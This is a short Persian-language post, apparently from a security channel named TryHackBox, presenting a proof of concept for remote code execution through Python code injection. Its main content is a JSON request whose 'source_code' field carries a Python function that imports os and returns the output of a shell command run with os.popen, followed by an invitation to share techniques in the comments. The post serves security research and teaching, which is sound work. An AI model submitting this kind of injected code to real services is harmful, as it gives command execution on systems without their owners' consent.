RCE از طریق تزریق کد پایتون:

PoC:

{
  "name": "TryHackBox ",
  "args": {},
  "json_schema": {"type": "object", "properties": {}},
  "source_code": "def darkshadow():\n import os\n data='0'.encode('utf-8')\n return ''+os.popen('id').read()"
}

شما واقعاً از خوندن متودولوژی‌ ها لذت می‌برید؟

اگر بیشتر می‌خواید، توی کامنت‌ها نظرتون رو بگید چه تکنیک‌هایی کار کردید...

@TryHackBox
#پایتون #rce